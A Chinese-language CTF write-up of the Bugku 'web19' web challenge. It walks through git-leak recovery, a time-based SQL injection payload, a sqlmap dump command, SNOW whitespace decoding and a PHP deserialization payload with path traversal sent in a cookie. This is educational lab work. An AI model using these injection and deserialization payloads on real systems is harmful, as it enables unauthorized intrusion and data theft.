newBugku-web19

这道题含有的知识点挺多的,单独写一篇wp

首先,扫描出了一些目录:

访问flag.txt,结果是没有用的信息:

还发现是git泄露,则用GitHack修复,不过这里有个版本问题,用我开始版本的恢复,只下载下来flag.txt这个文件,而且打开后还是Hint 1: flag is in xxxxxxxxx

后来下载了另一个版本的GitHack,https://github.com/BugScanTeam/GitHack,下载下来一个.git文件,在这个目录外执行git show,出现了提示,这个命令好像是查看文件提交的到本地仓库的一些信息吧..

发现提示目录,则访问这个目录:

是一个登录框,发现是post时间盲注:1')and sleep(5)#;则用sqlmap进行爆库。还是第一次用sqlmap进行post注入,找了好多方法,这里使用其中一个方法:

先用burp抓包,然后将请求数据保存下来(这里保存为content.txt):

打开sqlmap,输入指令:

python2 sqlmap.py -r content.txt http://123.206.31.85:10019/eXpl0ve5p0cVeRymuCh/index.php --dump

这里-r是读取文件的意思,然后dump爆出所有内容并将爆出的数据存储到表格中

爆出了两个表,一个是登录的账号和密码,一个是一张图片:

登录后:

登录后并没有发现有用的信息;则分析图片,图片中的php代码为:

class ReadFile{
        public $file;
        public function __destruct(){
            echo file_get_contents(dirname(__FILE__).$this->file);
        }
    }

其中,file_get_contents()函数是将文件的内容读取到字符串中;dirname()函数为获取路径中的目录部分;__FILE__为当前文件绝对路径

后来发现登录后的页面其实是提示用了snow加密!snow加密就是将信息隐藏到空白字符中

解密工具
在线解密

用编辑器打开,确实发现了有些内容被隐藏了(Ctrl+A)

之后用在线解密工具解密,不过发现行不通…用其他浏览器测试了一下,一访问note.php这个文件,发现要输入账号和密码,也就是说不能直接去解密这个网页,因为没有登录的话会重定向到登录页

然后这个星期几乎就在配置本地解密环境…开始用windows10发现行不通然后又下了win7-32虚拟机也不行…jar文件需要java 1环境也行不通…最后用的SNOW applet弄出来了(哭晕):

在java.com下载安装好java后,然后用IE浏览器打开http://fog.misty.com/perry/ccs/snow/jsnowapp/jsnowapp.html,配置好安全站点之后就能运行解密程序了…还有,输入password的时候不能复制粘贴…

之后访问这个页面什么都没有,但flag是藏在里面的。根据上面图片中的类,可以推测知识点是反序列化,但用什么方式提交呢?后来抓包,发现cookie中藏有信息:

将cookie中的信息url解密,得到:

O:8:”UserInfo”:2:{s:8:”username”;s:5:”admin”;s:8:”password”;s:14:”p0CLOvesExpT00”;};

之后构造序列化(要注意文件的相对路径!!!!!):

<?php

class ReadFile{
            public $file;
            public function __destruct(){
                echo file_get_contents(dirname(__FILE__).$this->file);
            }
        }

$a = new ReadFile();
$a->file='../../PPPPOOO0CCCC.php';
echo serialize($a);

?>

得到:

O:8:”ReadFile”:1:{s:4:”file”;s:22:”../../PPPPOOO0CCCC.php”;}

将其url编码,放到cookie中即可


今天看到一篇赛博杯wp上有关于snow加密的解法:

0D0A是换行,剩下的将20转0,将09转1,得到的二进制数据,转字符串即可